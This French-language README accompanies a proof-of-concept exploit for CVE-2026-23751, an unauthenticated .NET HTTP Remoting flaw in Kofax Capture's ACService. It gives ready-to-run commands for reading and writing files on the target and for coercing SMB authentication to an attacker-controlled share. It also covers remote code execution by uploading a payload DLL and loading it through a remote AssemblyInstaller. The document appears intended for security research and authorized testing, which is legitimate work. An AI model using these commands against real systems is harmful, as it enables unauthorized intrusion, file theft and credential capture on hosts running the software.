
RemotingClient corrigé pour exploiter CVE-2026-23751 (Tungsten Automation - Kofax Capture : lecture/écriture de fichiers non authentifiée, exécution de code à distance et coercition SMB via .NET HTTP Remoting)
Implémentation de preuve de concept de la technique .NET HTTP Remoting décrite dans NewRemotingTricks de Code White, ciblant Tungsten Automation Kofax Capture.
Titre : Tungsten Automation Kofax Capture Lecture/Écriture de fichiers non authentifiée et exécution de commandes via .NET HTTP Remoting
CVE : CVE-2026-23751
Auteurs de ce PoC (et non du CVE) : Filip Sanders, Siebren Kraak
CVE-2026-23751 affecte Tungsten Automation Kofax Capture et permet à un attaquant distant non authentifié d'interagir avec un point de terminaison .NET HTTP Remoting exposé par le service ACService de Kofax Capture.
La vulnérabilité peut être exploitée pour effectuer des opérations dans le contexte de sécurité du service Kofax Capture, notamment :
Le PoC réimplémente la technique .NET Remoting pertinente du projet NewRemotingTricks de Code White.
Le PoC cible le point de terminaison HTTP Remoting ACService de Kofax Capture :
http://<target>:2424/ACService
Le port 2424 est le port HTTP Remoting par défaut utilisé par le service affecté.
Le PoC prend en charge trois opérations :
read
write
exec
La syntaxe générale est :
RemotingClient_MBRO_Lazy.exe <operation> <object-url> <file-url> [content]
L'exemple suivant lit le fichier hosts Windows depuis la cible :
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService C:\Windows\System32\drivers\etc\hosts
Un fichier de configuration Kofax Capture peut de la même manière être lu :
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService C:\ProgramData\Kofax\Remoting\Client\Configuration\ConfigInfo.xml
Les ressources distantes peuvent également être accessibles à l'aide d'un URI file:// :
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService file://\\<attacker>\share\file.txt
Le contenu renvoyé par le WebClient distant est écrit sur la sortie standard.
Un fichier peut être écrit à un emplacement accessible par le service Kofax Capture en fournissant le chemin cible suivi du contenu :
PS C:/> .\RemotingClient_MBRO_Lazy.exe write http://<target>:2424/ACService C:\Windows\Temp\test.txt HelloWorld
Le contenu fourni est encodé en UTF-8 et téléversé à l'aide du WebClient instancié à distance.
La même fonctionnalité peut être utilisée avec un chemin UNC pour écrire sur un partage SMB distant :
PS C:/> .\RemotingClient_MBRO_Lazy.exe write http://<target>:2424/ACService \\<remote_host>\share\file.txt HelloWorld
La capacité d'accéder à la ressource distante dépend des autorisations et du contexte de sécurité du service Kofax Capture.
L'opération read peut être utilisée avec une ressource file:// distante pour amener la cible à accéder à une ressource SMB contrôlée par l'attaquant :
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService file://\\<attacker>\share\file.txt
Cela peut amener l'hôte affecté à s'authentifier auprès du serveur SMB contrôlé par l'attaquant, selon l'environnement cible et sa configuration de sécurité.
L'opération exec peut être utilisée pour exécuter un assembly .NET fourni dans le contexte du service Kofax Capture distant.
L'assembly est d'abord téléversé vers la cible, puis chargé à l'aide d'un AssemblyInstaller instancié à distance :
PS C:/> .\RemotingClient_MBRO_Lazy.exe exec http://<target>:2424/ACService C:\Windows\Temp\payload.dll
Le chemin fourni est utilisé comme destination pour l'assembly téléversé et transmis ensuite au AssemblyInstaller distant. L'assembly est chargé côté serveur et installé via le mécanisme d'installation du .NET Framework.
Après exécution, le PoC lit la sortie d'exécution depuis :
C:\Windows\Temp\pwn_out.txt
Le comportement exact de la charge utile dépend du contenu de Payload.dll.
La vulnérabilité implique l'utilisation du .NET HTTP Remoting par le service ACService de Kofax Capture.
.NET Remoting fournit des mécanismes de communication avec des instances distantes de MarshalByRefObject. En interagissant avec le point de terminaison de remoting exposé et en manipulant le contexte d'appel logique, le PoC peut obtenir des instances distantes de classes du .NET Framework qui héritent de MarshalByRefObject.
Le PoC exploite ce comportement pour obtenir des instances distantes de :
System.Net.WebClient
System.Configuration.Install.AssemblyInstaller
Un WebClient instancié à distance peut ensuite être utilisé pour effectuer des opérations sur le système de fichiers et le réseau depuis le contexte du service Kofax Capture.
Pour l'exécution de commandes, le PoC téléverse Payload.dll à l'aide du WebClient distant, obtient un AssemblyInstaller distant, définit son chemin d'assembly et invoque le mécanisme d'installation. Cela entraîne le chargement et l'exécution de l'assembly fourni sur la cible.
Le PoC démontre donc les primitives suivantes :
MarshalByRefObjectLa fonctionnalité write opère actuellement sur des données de chaînes encodées en UTF-8. Des types de fichiers et formats de payload supplémentaires peuvent être pris en charge en modifiant le code source.
ACService Kofax Capture de la cibleRemotingClient_MBRO_Lazy.exePayload.dll lors de l'utilisation de l'opération execAucune authentification au service Kofax Capture n'est requise pour l'exploitation.
CVE-2026-23751-poc/
├── RemotingClient_MBRO_Lazy/
│ └── RemotingClient_MBRO_Lazy.exe
├── Shared/
│ └── Shared.dll
├── Payload/
│ └── Payload.dll
└── README.md
Filip Sanders
Siebren Kraak
Ce dépôt est fourni uniquement à des fins de recherche en sécurité, de validation de vulnérabilités et de tests d'intrusion autorisés.
N'utilisez pas ce PoC contre des systèmes sans autorisation explicite. Les auteurs ne sont pas responsables des dommages, pertes de données, accès non autorisés ou autres conséquences résultant d'une mauvaise utilisation de ce logiciel.